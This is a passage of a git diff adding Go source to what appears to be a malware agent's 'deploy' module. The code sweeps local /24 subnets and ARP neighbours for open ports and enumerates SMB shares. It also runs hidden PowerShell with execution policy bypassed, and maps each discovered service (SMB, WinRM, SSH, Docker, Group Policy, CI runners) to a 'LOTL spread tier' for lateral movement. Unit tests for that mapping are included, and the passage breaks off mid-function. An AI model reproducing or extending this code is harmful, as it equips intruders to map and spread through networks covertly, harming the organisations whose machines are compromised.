||||||
|
if maxLANHosts > MaxSubnetScanHosts {
|
||||||
|
maxLANHosts = MaxSubnetScanHosts
|
||||||
|
}
|
||||||
|
|
||||||
|
localIP := localIPv4ForDiscovery()
|
||||||
|
localSubnet := getSubnet(localIP)
|
||||||
|
|
||||||
|
passive := collectPassiveHints()
|
||||||
|
hints := CollectNetworkHints(maxLANHosts)
|
||||||
|
for _, h := range appendNetworkHintStrings(hints) {
|
||||||
|
passive = append(passive, h)
|
||||||
|
}
|
||||||
|
|
||||||
|
result := ServiceDiscoverResult{
|
||||||
|
ProbedAt: time.Now().UTC().Format(time.RFC3339),
|
||||||
|
PassiveHints: passive,
|
||||||
|
Local: ServiceGraphHost{
|
||||||
|
Host: localIP,
|
||||||
|
Subnet: localSubnet,
|
||||||
|
Services: probeLocalServices(),
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
lanHosts := discoverLANServiceGraph(maxLANHosts)
|
||||||
|
result.LANHosts = lanHosts
|
||||||
|
|
||||||
|
b, _ := json.Marshal(result)
|
||||||
|
return string(b)
|
||||||
|
}
|
||||||
|
|
||||||
|
func localIPv4ForDiscovery() string {
|
||||||
|
ips := getLocalIPs()
|
||||||
|
for _, ip := range ips {
|
||||||
|
if isIPv4(ip) {
|
||||||
|
return ip
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ip, err := PrimaryLocalIPv4(); err == nil && ip != "" {
|
||||||
|
return ip
|
||||||
|
}
|
||||||
|
return "127.0.0.1"
|
||||||
|
}
|
||||||
|
|
||||||
|
func discoverLANServiceGraph(maxHosts int) []ServiceGraphHost {
|
||||||
|
targets := lanDiscoveryTargets(maxHosts)
|
||||||
|
localSet := make(map[string]bool)
|
||||||
|
for _, ip := range getLocalIPs() {
|
||||||
|
localSet[ip] = true
|
||||||
|
}
|
||||||
|
|
||||||
|
var hosts []ServiceGraphHost
|
||||||
|
for _, host := range targets {
|
||||||
|
if localSet[host] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
entries := probeLANHostServices(host)
|
||||||
|
if len(entries) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
hosts = append(hosts, ServiceGraphHost{
|
||||||
|
Host: host,
|
||||||
|
Subnet: getSubnet(host),
|
||||||
|
Services: entries,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return hosts
|
||||||
|
}
|
||||||
|
|
||||||
|
func appendNetworkHintStrings(h NetworkHints) []string {
|
||||||
|
var out []string
|
||||||
|
if h.DomainJoined {
|
||||||
|
out = append(out, "domain_joined:"+h.DomainName)
|
||||||
|
}
|
||||||
|
if h.PreferJoinLane != "" {
|
||||||
|
out = append(out, "prefer_join_lane:"+h.PreferJoinLane)
|
||||||
|
}
|
||||||
|
for _, s := range h.LdapSRV {
|
||||||
|
out = append(out, "ldap_srv:"+s)
|
||||||
|
}
|
||||||
|
for _, s := range h.KerberosSRV {
|
||||||
|
out = append(out, "kerberos_srv:"+s)
|
||||||
|
}
|
||||||
|
if h.EnterpriseCodeSignCert {
|
||||||
|
out = append(out, "enterprise_code_sign")
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// lanDiscoveryTargets merges ARP cache neighbors with a capped /24 port knock (Path Tracer LAN discovery).
|
||||||
|
func lanDiscoveryTargets(maxHosts int) []string {
|
||||||
|
seen := make(map[string]bool)
|
||||||
|
var out []string
|
||||||
|
|
||||||
|
add := func(ip string) {
|
||||||
|
ip = strings.TrimSpace(ip)
|
||||||
|
if ip == "" || !isIPv4(ip) || seen[ip] {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
seen[ip] = true
|
||||||
|
out = append(out, ip)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, ip := range arpHosts() {
|
||||||
|
if len(out) >= maxHosts {
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
add(ip)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, ip := range getLocalIPs() {
|
||||||
|
if !isIPv4(ip) || len(out) >= maxHosts {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
subnet := getSubnet(ip)
|
||||||
|
if subnet == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for i := 1; i < 255 && len(out) < maxHosts; i++ {
|
||||||
|
candidate, ok := ipv4SweepHost(subnet, i)
|
||||||
|
if !ok {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
if candidate == ip {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if open := probePorts(candidate, commonLANPorts); len(open) > 0 {
|
||||||
|
add(candidate)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeLANHostServices(host string) []ServiceGraphEntry {
|
||||||
|
var entries []ServiceGraphEntry
|
||||||
|
open := probePorts(host, commonLANPorts)
|
||||||
|
for _, p := range open {
|
||||||
|
name := portServiceNames[p]
|
||||||
|
if name == "" {
|
||||||
|
name = "tcp/" + strconv.Itoa(p)
|
||||||
|
}
|
||||||
|
entries = append(entries, entryWithLane(name, p, "lan_port"))
|
||||||
|
}
|
||||||
|
|
||||||
|
if smbEntries := probeSMBGraphEntries(host); len(smbEntries) > 0 {
|
||||||
|
entries = append(entries, smbEntries...)
|
||||||
|
}
|
||||||
|
return dedupeEntries(entries)
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeSMBGraphEntries(host string) []ServiceGraphEntry {
|
||||||
|
conn, err := net.DialTimeout("tcp", net.JoinHostPort(host, "445"), 800*time.Millisecond)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
conn.Close()
|
||||||
|
|
||||||
|
// Windows net view enumeration is platform-specific; on Unix we only record SMB port.
|
||||||
|
if runtime.GOOS != "windows" {
|
||||||
|
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||||
|
}
|
||||||
|
out, err := HiddenOutput("net", "view", "\\\\"+host)
|
||||||
|
if err != nil {
|
||||||
|
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||||
|
}
|
||||||
|
shares := parseNetViewShares(strings.TrimSpace(string(out)))
|
||||||
|
if len(shares) == 0 {
|
||||||
|
return []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||||
|
}
|
||||||
|
entries := []ServiceGraphEntry{entryWithLane("smb", 445, "lan_port")}
|
||||||
|
for _, share := range shares {
|
||||||
|
entries = append(entries, entryWithLane("smb-share:"+share, 445, "smb_share"))
|
||||||
|
}
|
||||||
|
return entries
|
||||||
|
}
|
||||||
126
agent/deploy/service_discovery_test.go
Normal file
126
agent/deploy/service_discovery_test.go
Normal file
@@ -0,0 +1,126 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestJoinLaneForSignal(t *testing.T) {
|
||||||
|
cases := []struct {
|
||||||
|
name string
|
||||||
|
port int
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{"LanmanServer", 0, "smb"},
|
||||||
|
{"smb", 445, "smb"},
|
||||||
|
{"winrm", 5985, "winrm"},
|
||||||
|
{"sshd", 22, "linux"},
|
||||||
|
{"docker", 0, "docker"},
|
||||||
|
{"CCMEXEC", 0, "gpo"},
|
||||||
|
{"gitlab-runner", 0, "bits_curl"},
|
||||||
|
{"jenkins", 8080, "bits_curl"},
|
||||||
|
{"unknown-svc", 9999, ""},
|
||||||
|
}
|
||||||
|
for _, tc := range cases {
|
||||||
|
got := JoinLaneForSignal(tc.name, tc.port)
|
||||||
|
if got != tc.want {
|
||||||
|
t.Fatalf("%s:%d => %q, want %q", tc.name, tc.port, got, tc.want)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestMergeServiceGraphHosts(t *testing.T) {
|
||||||
|
base := map[string]ServiceGraphHost{
|
||||||
|
"10.0.0.5": {
|
||||||
|
Host: "10.0.0.5",
|
||||||
|
Subnet: "10.0.0",
|
||||||
|
Services: []ServiceGraphEntry{
|
||||||
|
entryWithLane("smb", 445, "lan_port"),
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
merged := MergeServiceGraphHosts(base, ServiceGraphHost{
|
||||||
|
Host: "10.0.0.5",
|
||||||
|
Subnet: "10.0.0",
|
||||||
|
Services: []ServiceGraphEntry{
|
||||||
|
entryWithLane("smb", 445, "lan_port"),
|
||||||
|
entryWithLane("winrm", 5985, "lan_port"),
|
||||||
|
},
|
||||||
|
}, ServiceGraphHost{
|
||||||
|
Host: "10.0.0.12",
|
||||||
|
Subnet: "10.0.0",
|
||||||
|
Services: []ServiceGraphEntry{
|
||||||
|
entryWithLane("ssh", 22, "lan_port"),
|
||||||
|
},
|
||||||
|
})
|
||||||
|
if len(merged) != 2 {
|
||||||
|
t.Fatalf("hosts = %d", len(merged))
|
||||||
|
}
|
||||||
|
if len(merged["10.0.0.5"].Services) != 2 {
|
||||||
|
t.Fatalf("10.0.0.5 services = %v", merged["10.0.0.5"].Services)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseWindowsDiscoverFixture(t *testing.T) {
|
||||||
|
fixture := `{"services":[{"name":"CCMEXEC","status":"running"},{"name":"tcp/5985","port":5985,"status":"listening"},{"name":"LanmanServer","status":"running"}],"hints":["domain_joined","docker_pipe"]}`
|
||||||
|
entries, hints := ParseWindowsDiscoverFixture(fixture)
|
||||||
|
if len(entries) != 3 {
|
||||||
|
t.Fatalf("entries = %v", entries)
|
||||||
|
}
|
||||||
|
if entries[0].JoinLaneCandidate != "gpo" {
|
||||||
|
t.Fatalf("CCMEXEC lane = %q", entries[0].JoinLaneCandidate)
|
||||||
|
}
|
||||||
|
if entries[1].JoinLaneCandidate != "winrm" {
|
||||||
|
t.Fatalf("winrm lane = %q", entries[1].JoinLaneCandidate)
|
||||||
|
}
|
||||||
|
if len(hints) != 2 || hints[0] != "domain_joined" {
|
||||||
|
t.Fatalf("hints = %v", hints)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseSystemctlListUnitsFixture(t *testing.T) {
|
||||||
|
fixture := `UNIT LOAD ACTIVE SUB DESCRIPTION
|
||||||
|
docker.service loaded active running Docker Application Container Engine
|
||||||
|
ssh.service loaded active running OpenBSD Secure Shell server
|
||||||
|
gitlab-runner.service loaded active running GitLab Runner`
|
||||||
|
entries := ParseSystemctlListUnitsFixture(fixture)
|
||||||
|
if len(entries) != 3 {
|
||||||
|
t.Fatalf("entries = %v", entries)
|
||||||
|
}
|
||||||
|
if entries[2].JoinLaneCandidate != "bits_curl" {
|
||||||
|
t.Fatalf("gitlab lane = %q", entries[2].JoinLaneCandidate)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestParseServiceDiscoverJSON(t *testing.T) {
|
||||||
|
raw := `noise before json
|
||||||
|
{"probed_at":"2026-06-06T12:00:00Z","local":{"host":"10.1.2.3","subnet":"10.1.2","services":[{"service_name":"docker","join_lane_candidate":"docker","source":"passive_hint"}]},"lan_hosts":[{"host":"10.1.2.50","subnet":"10.1.2","services":[{"service_name":"smb","port":445,"join_lane_candidate":"smb","source":"lan_port"}]}],"passive_hints":["docker_socket"]}`
|
||||||
|
result, err := ParseServiceDiscoverJSON(raw)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if result.Local.Host != "10.1.2.3" || len(result.LANHosts) != 1 {
|
||||||
|
t.Fatalf("result = %+v", result)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestServiceDiscoverResultRoundTrip(t *testing.T) {
|
||||||
|
result := ServiceDiscoverResult{
|
||||||
|
ProbedAt: "2026-06-06T12:00:00Z",
|
||||||
|
Local: ServiceGraphHost{
|
||||||
|
Host: "192.168.1.10",
|
||||||
|
Subnet: "192.168.1",
|
||||||
|
Services: []ServiceGraphEntry{
|
||||||
|
{ServiceName: "WinRM", Port: 5985, JoinLaneCandidate: "winrm", Source: "local_service"},
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
b, err := json.Marshal(result)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatal(err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(string(b), `"join_lane_candidate":"winrm"`) {
|
||||||
|
t.Fatalf("json = %s", string(b))
|
||||||
|
}
|
||||||
|
}
|
||||||
124
agent/deploy/service_discovery_unix.go
Normal file
124
agent/deploy/service_discovery_unix.go
Normal file
@@ -0,0 +1,124 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"os/exec"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
var serviceDiscoverUnits = []string{
|
||||||
|
"docker", "docker.service", "ssh", "sshd", "jenkins", "gitlab-runner",
|
||||||
|
"cloudflared", "fail2ban", "ufw", "firewalld",
|
||||||
|
}
|
||||||
|
|
||||||
|
func probeLocalServices() []ServiceGraphEntry {
|
||||||
|
var entries []ServiceGraphEntry
|
||||||
|
for _, unit := range serviceDiscoverUnits {
|
||||||
|
status := "not_found"
|
||||||
|
if activeOut, err := exec.Command("systemctl", "is-active", unit).CombinedOutput(); err == nil {
|
||||||
|
active := strings.TrimSpace(string(activeOut))
|
||||||
|
switch active {
|
||||||
|
case "active":
|
||||||
|
status = "running"
|
||||||
|
case "inactive", "failed", "dead":
|
||||||
|
status = "stopped"
|
||||||
|
default:
|
||||||
|
if active != "unknown" {
|
||||||
|
status = "stopped"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if status == "not_found" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
entries = append(entries, entryWithLane(unit, 0, "local_service"))
|
||||||
|
}
|
||||||
|
|
||||||
|
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
|
||||||
|
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||||
|
}
|
||||||
|
|
||||||
|
if out, err := exec.Command("ss", "-lnt").CombinedOutput(); err == nil {
|
||||||
|
entries = append(entries, parseSSListening(string(out))...)
|
||||||
|
} else if out, err := exec.Command("netstat", "-lnt").CombinedOutput(); err == nil {
|
||||||
|
entries = append(entries, parseNetstatListening(string(out))...)
|
||||||
|
}
|
||||||
|
|
||||||
|
return dedupeEntries(entries)
|
||||||
|
}
|
||||||
|
|
||||||
|
func collectPassiveHints() []string {
|
||||||
|
var hints []string
|
||||||
|
if _, err := os.Stat("/var/run/docker.sock"); err == nil {
|
||||||
|
hints = append(hints, "docker_socket")
|
||||||
|
}
|
||||||
|
for _, path := range []string{
|
||||||
|
"/var/lib/gitlab-runner",
|
||||||
|
"/etc/gitlab-runner",
|
||||||
|
"/var/lib/jenkins",
|
||||||
|
} {
|
||||||
|
if _, err := os.Stat(path); err == nil {
|
||||||
|
hints = append(hints, "runner_path:"+path)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return hints
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseSSListening(text string) []ServiceGraphEntry {
|
||||||
|
var entries []ServiceGraphEntry
|
||||||
|
for _, line := range strings.Split(text, "\n") {
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) < 4 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
local := fields[3]
|
||||||
|
port := parseListenPort(local)
|
||||||
|
if port == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
name := portServiceNames[port]
|
||||||
|
if name == "" {
|
||||||
|
name = "tcp/" + strconv.Itoa(port)
|
||||||
|
}
|
||||||
|
entries = append(entries, entryWithLane(name, port, "passive_hint"))
|
||||||
|
}
|
||||||
|
return entries
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseNetstatListening(text string) []ServiceGraphEntry {
|
||||||
|
var entries []ServiceGraphEntry
|
||||||
|
for _, line := range strings.Split(text, "\n") {
|
||||||
|
if !strings.Contains(line, "LISTEN") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) < 4 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
local := fields[3]
|
||||||
|
port := parseListenPort(local)
|
||||||
|
if port == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
name := portServiceNames[port]
|
||||||
|
if name == "" {
|
||||||
|
name = "tcp/" + strconv.Itoa(port)
|
||||||
|
}
|
||||||
|
entries = append(entries, entryWithLane(name, port, "passive_hint"))
|
||||||
|
}
|
||||||
|
return entries
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseListenPort(local string) int {
|
||||||
|
// formats: *:22, 0.0.0.0:445, [::]:8080
|
||||||
|
if i := strings.LastIndex(local, ":"); i >= 0 {
|
||||||
|
portStr := strings.TrimSuffix(local[i+1:], "]")
|
||||||
|
if n, err := strconv.Atoi(portStr); err == nil {
|
||||||
|
return n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return 0
|
||||||
|
}
|
||||||
120
agent/deploy/service_discovery_windows.go
Normal file
120
agent/deploy/service_discovery_windows.go
Normal file
@@ -0,0 +1,120 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
const serviceDiscoverScript = `
|
||||||
|
$ErrorActionPreference = 'SilentlyContinue'
|
||||||
|
$p = [ordered]@{ services = @(); hints = @() }
|
||||||
|
|
||||||
|
# ── Local services (T1007) — management + spread-relevant only ───────────────
|
||||||
|
$watch = @(
|
||||||
|
'CCMEXEC','CcmSetup','SmsAgent','WinRM','ssh','sshd','LanmanServer','Docker',
|
||||||
|
'com.docker.service','jenkins','Jenkins','gitlab-runner','GitLabRunner',
|
||||||
|
'OpenSSH SSH Server','cloudflared','gpsvc'
|
||||||
|
)
|
||||||
|
foreach ($n in $watch) {
|
||||||
|
try {
|
||||||
|
$s = Get-Service -Name $n -ErrorAction SilentlyContinue
|
||||||
|
if (-not $s) {
|
||||||
|
$s = Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -eq $n -or $_.DisplayName -like "*$n*" } | Select-Object -First 1
|
||||||
|
}
|
||||||
|
if ($s) {
|
||||||
|
$st = if ($s.Status -eq 'Running') { 'running' } else { 'stopped' }
|
||||||
|
$p.services += [ordered]@{ name = $s.Name; status = $st }
|
||||||
|
}
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
|
||||||
|
# ── GPO / Intune passive indicators ───────────────────────────────────────────
|
||||||
|
try {
|
||||||
|
$cs = Get-CimInstance Win32_ComputerSystem
|
||||||
|
if ($cs.PartOfDomain) { $p.hints += 'domain_joined' }
|
||||||
|
} catch {}
|
||||||
|
if (Test-Path 'HKLM:\SOFTWARE\Microsoft\Enrollments') { $p.hints += 'intune_enrollment_key' }
|
||||||
|
if (Test-Path 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate') { $p.hints += 'wu_policy_key' }
|
||||||
|
try {
|
||||||
|
if ((Get-Service gpsvc -ErrorAction SilentlyContinue).Status -eq 'Running') { $p.hints += 'group_policy_client' }
|
||||||
|
} catch {}
|
||||||
|
|
||||||
|
# ── Docker socket / named pipe ────────────────────────────────────────────────
|
||||||
|
if (Test-Path '\\.\pipe\docker_engine') { $p.hints += 'docker_pipe' }
|
||||||
|
|
||||||
|
# ── Jenkins / GitLab runner filesystem hints ──────────────────────────────────
|
||||||
|
@(
|
||||||
|
'C:\Program Files\Jenkins',
|
||||||
|
'C:\GitLab-Runner',
|
||||||
|
'C:\gitlab-runner'
|
||||||
|
) | ForEach-Object { if (Test-Path $_) { $p.hints += ('runner_path:' + $_) } }
|
||||||
|
|
||||||
|
# ── Test-NetConnection — common ports on localhost (fast) ─────────────────────
|
||||||
|
$ports = @(22,445,3389,5985,5986,2375,8080,8443)
|
||||||
|
foreach ($port in $ports) {
|
||||||
|
try {
|
||||||
|
$r = Test-NetConnection -ComputerName 127.0.0.1 -Port $port -WarningAction SilentlyContinue -InformationLevel Quiet
|
||||||
|
if ($r) { $p.services += [ordered]@{ name = ('tcp/' + $port); port = $port; status = 'listening' } }
|
||||||
|
} catch {}
|
||||||
|
}
|
||||||
|
|
||||||
|
$p | ConvertTo-Json -Depth 4 -Compress
|
||||||
|
`
|
||||||
|
|
||||||
|
func probeLocalServices() []ServiceGraphEntry {
|
||||||
|
out, err := HiddenCombinedOutput(
|
||||||
|
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||||
|
serviceDiscoverScript,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return fallbackWindowsLocalServices()
|
||||||
|
}
|
||||||
|
raw := strings.TrimSpace(string(out))
|
||||||
|
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||||
|
raw = raw[idx:]
|
||||||
|
}
|
||||||
|
var payload windowsDiscoverPayload
|
||||||
|
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||||
|
return fallbackWindowsLocalServices()
|
||||||
|
}
|
||||||
|
entries := windowsRowsToEntries(payload.Services)
|
||||||
|
if dockerPipePresent() {
|
||||||
|
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||||
|
}
|
||||||
|
return dedupeEntries(entries)
|
||||||
|
}
|
||||||
|
|
||||||
|
func collectPassiveHints() []string {
|
||||||
|
out, err := HiddenCombinedOutput(
|
||||||
|
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||||
|
serviceDiscoverScript,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
raw := strings.TrimSpace(string(out))
|
||||||
|
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||||
|
raw = raw[idx:]
|
||||||
|
}
|
||||||
|
var payload windowsDiscoverPayload
|
||||||
|
if err := json.Unmarshal([]byte(raw), &payload); err != nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return payload.Hints
|
||||||
|
}
|
||||||
|
|
||||||
|
func fallbackWindowsLocalServices() []ServiceGraphEntry {
|
||||||
|
var entries []ServiceGraphEntry
|
||||||
|
if _, err := os.Stat(`\\.\pipe\docker_engine`); err == nil {
|
||||||
|
entries = append(entries, entryWithLane("docker", 0, "passive_hint"))
|
||||||
|
}
|
||||||
|
return entries
|
||||||
|
}
|
||||||
|
|
||||||
|
func dockerPipePresent() bool {
|
||||||
|
_, err := os.Stat(`\\.\pipe\docker_engine`)
|
||||||
|
return err == nil
|
||||||
|
}
|
||||||
189
agent/deploy/service_graph.go
Normal file
189
agent/deploy/service_graph.go
Normal file
@@ -0,0 +1,189 @@
|
|||||||
|
package deploy
|
||||||
|
|
||||||
|
import (
|
||||||
|
"encoding/json"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ServiceGraphEntry is one discovered service or port signal on a host.
|
||||||
|
type ServiceGraphEntry struct {
|
||||||
|
ServiceName string `json:"service_name"`
|
||||||
|
Port int `json:"port,omitempty"`
|
||||||
|
Status string `json:"status,omitempty"`
|
||||||
|
JoinLaneCandidate string `json:"join_lane_candidate,omitempty"`
|
||||||
|
Source string `json:"source,omitempty"` // local_service, lan_port, smb_share, passive_hint
|
||||||
|
}
|
||||||
|
|
||||||
|
// ServiceGraphHost groups service findings for one host on a subnet.
|
||||||
|
type ServiceGraphHost struct {
|
||||||
|
Host string `json:"host"`
|
||||||
|
Subnet string `json:"subnet,omitempty"`
|
||||||
|
Services []ServiceGraphEntry `json:"services"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// ServiceDiscoverResult is the JSON payload returned by service_discover.
|
||||||
|
type ServiceDiscoverResult struct {
|
||||||
|
ProbedAt string `json:"probed_at"`
|
||||||
|
Local ServiceGraphHost `json:"local"`
|
||||||
|
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
|
||||||
|
PassiveHints []string `json:"passive_hints,omitempty"`
|
||||||
|
}
|
||||||
|
|
||||||
|
// JoinLaneForSignal maps a discovered service name or open port to a LOTL spread tier id.
|
||||||
|
func JoinLaneForSignal(serviceName string, port int) string {
|
||||||
|
name := strings.ToLower(strings.TrimSpace(serviceName))
|
||||||
|
switch {
|
||||||
|
case port == 445 || strings.Contains(name, "smb") || strings.Contains(name, "lanmanserver") || strings.Contains(name, "admin$"):
|
||||||
|
return "smb"
|
||||||
|
case port == 5985 || port == 5986 || strings.Contains(name, "winrm"):
|
||||||
|
return "winrm"
|
||||||
|
case port == 22 || strings.Contains(name, "ssh") || name == "sshd":
|
||||||
|
return "linux"
|
||||||
|
case port == 2375 || port == 2376 || strings.Contains(name, "docker"):
|
||||||
|
return "docker"
|
||||||
|
case strings.Contains(name, "wsl"):
|
||||||
|
return "wsl"
|
||||||
|
case strings.Contains(name, "powershell") || strings.Contains(name, "pwsh"):
|
||||||
|
return "powershell"
|
||||||
|
case strings.Contains(name, "dotnet"):
|
||||||
|
return "dotnet"
|
||||||
|
case strings.Contains(name, "jenkins") || strings.Contains(name, "gitlab") || strings.Contains(name, "runner"):
|
||||||
|
return "bits_curl"
|
||||||
|
case strings.Contains(name, "ccmexec") || strings.Contains(name, "sms_agent") || strings.Contains(name, "sccm"):
|
||||||
|
return "gpo"
|
||||||
|
case strings.Contains(name, "intune") || strings.Contains(name, "gpo") || strings.Contains(name, "group policy"):
|
||||||
|
return "gpo"
|
||||||
|
default:
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func entryWithLane(name string, port int, source string) ServiceGraphEntry {
|
||||||
|
return ServiceGraphEntry{
|
||||||
|
ServiceName: name,
|
||||||
|
Port: port,
|
||||||
|
JoinLaneCandidate: JoinLaneForSignal(name, port),
|
||||||
|
Source: source,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// MergeServiceGraphHosts merges host graphs keyed by host IP; later entries dedupe by service+port.
|
||||||
|
func MergeServiceGraphHosts(base map[string]ServiceGraphHost, hosts ...ServiceGraphHost) map[string]ServiceGraphHost {
|
||||||
|
if base == nil {
|
||||||
|
base = make(map[string]ServiceGraphHost)
|
||||||
|
}
|
||||||
|
for _, h := range hosts {
|
||||||
|
host := strings.TrimSpace(h.Host)
|
||||||
|
if host == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
existing, ok := base[host]
|
||||||
|
if !ok {
|
||||||
|
dup := h
|
||||||
|
dup.Services = dedupeEntries(h.Services)
|
||||||
|
base[host] = dup
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if existing.Subnet == "" && h.Subnet != "" {
|
||||||
|
existing.Subnet = h.Subnet
|
||||||
|
}
|
||||||
|
existing.Services = dedupeEntries(append(existing.Services, h.Services...))
|
||||||
|
base[host] = existing
|
||||||
|
}
|
||||||
|
return base
|
||||||
|
}
|
||||||
|
|
||||||
|
func dedupeEntries(in []ServiceGraphEntry) []ServiceGraphEntry {
|
||||||
|
seen := make(map[string]bool, len(in))
|
||||||
|
out := make([]ServiceGraphEntry, 0, len(in))
|
||||||
|
for _, e := range in {
|
||||||
|
key := strings.ToLower(e.ServiceName) + "|" + strconv.Itoa(e.Port) + "|" + e.Source
|
||||||
|
if seen[key] {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
seen[key] = true
|
||||||
|
out = append(out, e)
|
||||||
|
}
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
type windowsServiceRow struct {
|
||||||
|
Name string `json:"name"`
|
||||||
|
Status string `json:"status"`
|
||||||
|
Port int `json:"port"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type windowsDiscoverPayload struct {
|
||||||
|
Services []windowsServiceRow `json:"services"`
|
||||||
|
Hints []string `json:"hints"`
|
||||||
|
}
|
||||||
|
|
||||||
|
func windowsRowsToEntries(rows []windowsServiceRow) []ServiceGraphEntry {
|
||||||
|
var entries []ServiceGraphEntry
|
||||||
|
for _, row := range rows {
|
||||||
|
name := strings.TrimSpace(row.Name)
|
||||||
|
if name == "" {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
port := row.Port
|
||||||
|
if strings.HasPrefix(strings.ToLower(name), "tcp/") && port == 0 {
|
||||||
|
if p := strings.TrimPrefix(name, "tcp/"); p != name {
|
||||||
|
if n, err := strconv.Atoi(strings.TrimSpace(p)); err == nil {
|
||||||
|
port = n
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
entries = append(entries, ServiceGraphEntry{
|
||||||
|
ServiceName: name,
|
||||||
|
Port: port,
|
||||||
|
Status: strings.TrimSpace(row.Status),
|
||||||
|
JoinLaneCandidate: JoinLaneForSignal(name, port),
|
||||||
|
Source: "local_service",
|
||||||
|
})
|
||||||
|
}
|
||||||
|
return entries
|
||||||
|
}
|
||||||
|
|
||||||
|
// ParseSystemctlListUnitsFixture parses test fixture output from systemctl list-units.
|
||||||
|
func ParseSystemctlListUnitsFixture(raw string) []ServiceGraphEntry {
|
||||||
|
var entries []ServiceGraphEntry
|
||||||
|
for _, line := range strings.Split(raw, "\n") {
|
||||||
|
line = strings.TrimSpace(line)
|
||||||
|
if line == "" || strings.HasPrefix(line, "UNIT") {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
fields := strings.Fields(line)
|
||||||
|
if len(fields) < 3 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
